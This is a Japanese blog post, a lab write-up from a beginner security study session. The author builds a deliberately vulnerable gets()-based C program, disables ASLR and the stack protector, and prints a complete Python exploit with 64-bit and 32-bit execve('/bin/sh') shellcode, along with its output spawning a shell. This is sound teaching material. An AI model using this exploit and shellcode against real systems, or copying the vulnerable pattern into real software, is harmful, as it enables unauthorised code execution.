いろんなまとめ

IT技術系のことを気が向くままに書いていきます。勉強会の感想とか

簡単なバッファオーバーフローを試してみた。

「第20回ゼロから始めるセキュリティ入門 勉強会」でバッファオーバーフローについて発表しました。
https://weeyble-security.connpass.com/event/101572/

実際に試すためにいろいろやってみたので、備忘のためにの記事にしようと思います。

バッファオーバーフローとは?

そもそもバッファーオーバーフローってなんぞ、ってのは以下のサイトを参照してください。
バッファオーバーフロー(バッファオーバーラン)とは - IT用語辞典

ここから先の実装は、ももいろテクノロジー様のサイトを参考にさせて頂きました。※1

開発環境

さて、試した環境は,
VMware WorkStation12 Player で仮想環境上で試した。

Ubuntuの64bit版で試した。

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="18.04.1 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.1 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

バッファオーバーフローを起こすため、C言語で脆弱なプログラムを作成する。
gccのバージョンは以下の通り

$gcc --version
gcc (Ubuntu 7.3.0-16ubuntu3) 7.3.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

脆弱なプログラムの作成

脆弱なプログラムは以下の通り。

include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    char buf[100];
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);
    return 0;
}

コードの意味を見てみると、まず、メモリを100確保する。
で、ポインタの位置をプリントする。
次に標準入力待ち状態になる。
入力された値をメモリに配置し、標準出力してプログラム終了。


コンパイルして挙動を確認してみる。

$ ./overflow 
buf = 0x7ffd13aede80
A
A

$ ./overflow 
buf = 0x7ffc642b46a0
ABC
ABC

$ ./overflow 
buf = 0x7fffc1bd00c0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

うん。
思った通りの挙動をしている。

実行する度、確保されるバッファメモリの位置が変わっていることが確認できる。

バッファオーバーフローを意図的に引き起こすため、防御機構の停止

バッファオーバーフローを実行するために、ASLR(Address Space Layout Randomization)※4とSSP(Stack Smash Protection)※5を停止する。
UbuntuでASLRを止めるには、以下のコードを実行する。

$sudo sysctl -w kernel.randomize_va_space=0
$ ./overflow 
buf = 0x7fffffffddf0
A
A

$ ./overflow 
buf = 0x7fffffffddf0
ABC
ABC

$ ./overflow 
buf = 0x7fffffffddf0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (コアダンプ)

うん、よしよし。
確保されているバッファの位置が一定になっていることがわかる。

SSPの無効化は、ソースコードコンパイルオプションで設定する。

$gcc -fno-stack-protector -z execstack -o overflow buffer_overflow.c

バッファオーバーフローを使ってshellを奪うコードの作成

そして、実際に攻撃するコードを作る。
こちらも、ももいろテクノロジーさんのコードをお借りする。

import sys
import struct
from subprocess import Popen, PIPE

addr_buf = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

buf = shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'A' * (8 - len(buf)%8)  # alignment
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_buf)

p = Popen(['./overflow'], stdin=PIPE, stdout=PIPE)
print("[+] read: %r" % p.stdout.readline())
p.stdin.write(buf+'\n')
print("[+] read: %r" % p.stdout.readline())
p.stdin.write('exec <&2 >&2\n')
p.wait()

ここは、参考にしたコードのままでは実行できなかった。
なんでかなー、と思ったところ、32bit版と64bit版でシェルコードが変わるらしい。
同じくももいろテクノロジー様の、以下のサイトにして新しいシェルコードを組み立てる。※3
具体的には、参考にさせて頂いたシェルコードは、以下のとおり

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

64bitの場合のシェルコードは以下のとおり。

shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

また、実行する際はpython2系で実行すること。
python3系で実行すると、ライブラリstructureの関数がうまく動かない。

で、実行してみると以下のようになる。

$ python exploit.py 0x7fffffffddf0 100
[+] read: 'buf = 0x7fffffffddf0\n'
[+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xdd\xff\xff\xff\x7f\n'
whoami
<ここはログインユーザの名前が表示>

python exploit.py 0x7fffffffddf0 100」を実行した段階で、入力待ちの状態になり、「whoami」を入力してEnter
これでログインユーザの名前が表示されたことから、バッファオーバーフローを使ってshellを奪うことが出来た。

まとめ

ここまで、簡単なバッファオーバーフローを使って、shellを奪うサンプルを試してみました。
しかし、実際はASLRやSSPが停止しているはずもなく、工夫を加えなければなりません。

こちらもももいろテクノロジー様のサイトに、検証のための記事が公開されておりますので、
そちらを参考に実装してみたいと思います。